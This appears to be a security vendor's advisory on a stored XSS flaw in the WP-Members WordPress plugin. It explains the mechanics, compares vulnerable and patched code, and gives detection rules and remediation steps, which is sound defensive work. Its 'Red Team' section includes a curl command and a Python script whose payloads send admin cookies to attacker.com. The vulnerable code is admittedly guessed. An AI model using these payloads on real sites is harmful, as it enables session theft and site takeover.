CVE-2024-1852

Executive Summary

CVE-2024-1852 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.4.9.2. The vulnerability resides in the plugin's handling of the X-Forwarded-For HTTP header. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary web scripts by spoofing the X-Forwarded-For header. When a site administrator accesses the "edit users" page, the injected script executes in the context of the admin's browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation. The vulnerability was partially patched in version 3.4.9.2 and fully patched in version 3.4.9.3.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No supply chain compromise of the plugin's source code or distribution mechanism has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): Required - The victim (admin) must visit the edit users page.
• Scope (S): Changed - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low - Limited information disclosure is possible.
• Integrity (I): Low - Limited modification of data is possible.
• Availability (A): None - No impact on availability.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and targets a high-privilege user (admin). Successful exploitation can lead to full site compromise.

Deep Dive & Mechanics

The WP-Members Membership Plugin logs the IP address of users, including the X-Forwarded-For header, which is commonly used when a site is behind a reverse proxy or load balancer. The plugin stores this header value and later displays it on the "edit users" page in the WordPress admin panel.

The vulnerability arises because the plugin does not properly sanitize or escape the X-Forwarded-For header before storing it in the database and subsequently rendering it on the admin page. An attacker can craft an HTTP request with a malicious X-Forwarded-For header containing JavaScript code. When the admin views the user's details on the edit users page, the injected script executes.

The attack flow:

1. Attacker sends a request to the WordPress site with a spoofed X-Forwarded-For header containing a payload, e.g., <script>alert('XSS')</script>.
2. The plugin stores this header value in the user's metadata.
3. Admin navigates to the edit users page (e.g., /wp-admin/users.php?user_id=X).
4. The plugin outputs the stored header value without proper escaping.
5. The browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.4.9.2): The plugin likely retrieves the X-Forwarded-For header and stores it directly without sanitization.

// Vulnerable: No sanitization
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
update_user_meta($user_id, 'wpmem_ip', $ip);

When displaying, it outputs the value without escaping:

// Vulnerable: No escaping
echo get_user_meta($user_id, 'wpmem_ip', true);

Patched Code (version 3.4.9.3): The patched version sanitizes the input and escapes the output.

// Patched: Sanitize input
$ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_X_FORWARDED_FOR']));
update_user_meta($user_id, 'wpmem_ip', $ip);

When displaying, it escapes the output:

// Patched: Escape output
echo esc_html(get_user_meta($user_id, 'wpmem_ip', true));

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running WP-Members plugin version <= 3.4.9.2.
• Ability to send custom HTTP requests (e.g., using curl, Burp Suite, or a Python script).

Exploit Steps:

1. Craft a malicious X-Forwarded-For header with a JavaScript payload.
2. Send a request to any page on the WordPress site (e.g., the login page) with the spoofed header.
3. Wait for an admin to visit the edit users page.

Example using curl:

curl -H "X-Forwarded-For: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" http://target-wordpress-site.com/wp-login.php

Example using Python:

import requests

url = "http://target-wordpress-site.com/wp-login.php"
headers = {
    "X-Forwarded-For": "<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>"
}
response = requests.get(url, headers=headers)
print("Payload sent. Wait for admin to visit edit users page.")

Blue Team (Detection & Prevention)

Detection:

• Monitor HTTP requests for suspicious X-Forwarded-For headers containing HTML/JavaScript characters.
• Look for unusual patterns in the wpmem_ip user meta field in the database.
• Alert on admin access to the edit users page following a request with a suspicious header.

Prevention:

• Immediately update the WP-Members plugin to version 3.4.9.3 or later.
• Implement a Web Application Firewall (WAF) rule to block malicious X-Forwarded-For headers.
• Restrict access to the edit users page to only trusted IPs if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with X-Forwarded-For headers containing <script>, onerror=, javascript:, or other XSS payloads.
  • Outbound connections from the WordPress server to unknown external IPs/domains (potential data exfiltration).

• Host IOCs:

  • User meta entries in the wp_usermeta table where meta_key is wpmem_ip and meta_value contains HTML/JavaScript.
  • Unexpected JavaScript code in the WordPress admin panel, particularly on the edit users page.

• File IOCs:

  • Modified or suspicious files in /wp-content/plugins/wp-members/ (if attacker gained further access).

Detection Engineering

YARA Rule

rule CVE_2024_1852_WP_Members_XSS {
    meta:
        description = "Detects stored XSS payloads in WP-Members plugin user meta"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1852"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1852 WP-Members Stored XSS via X-Forwarded-For Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in WP-Members plugin via X-Forwarded-For header
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query: '*wp-login*'
        sc-status: 200
        cs-headers:
            - 'X-Forwarded-For: *<script*'
            - 'X-Forwarded-For: *onerror=*'
            - 'X-Forwarded-For: *javascript:*'
    condition: selection
falsepositives:
    - Legitimate use of X-Forwarded-For header with non-malicious content
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-1852 WP-Members Stored XSS via X-Forwarded-For Header"; flow:to_server,established; content:"X-Forwarded-For"; http_header; pcre:"/X-Forwarded-For\x3a[^\r\n]*<script[^>]*>/iH"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade WP-Members to version 3.4.9.3 or later from the WordPress admin dashboard or by downloading from the official repository.
2. Scan for compromise: Check the wp_usermeta table for any suspicious wpmem_ip entries. If found, remove the malicious data and investigate for further compromise.
3. Rotate admin credentials: If any admin user accessed the edit users page after the attack, assume their session may be compromised and rotate all admin passwords and API keys.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in headers.
• Regularly update all WordPress plugins, themes, and core.
• Enforce the principle of least privilege for admin users.
• Monitor logs for unusual HTTP headers and admin panel access patterns.

Valters IT
Securing Digital Frontiers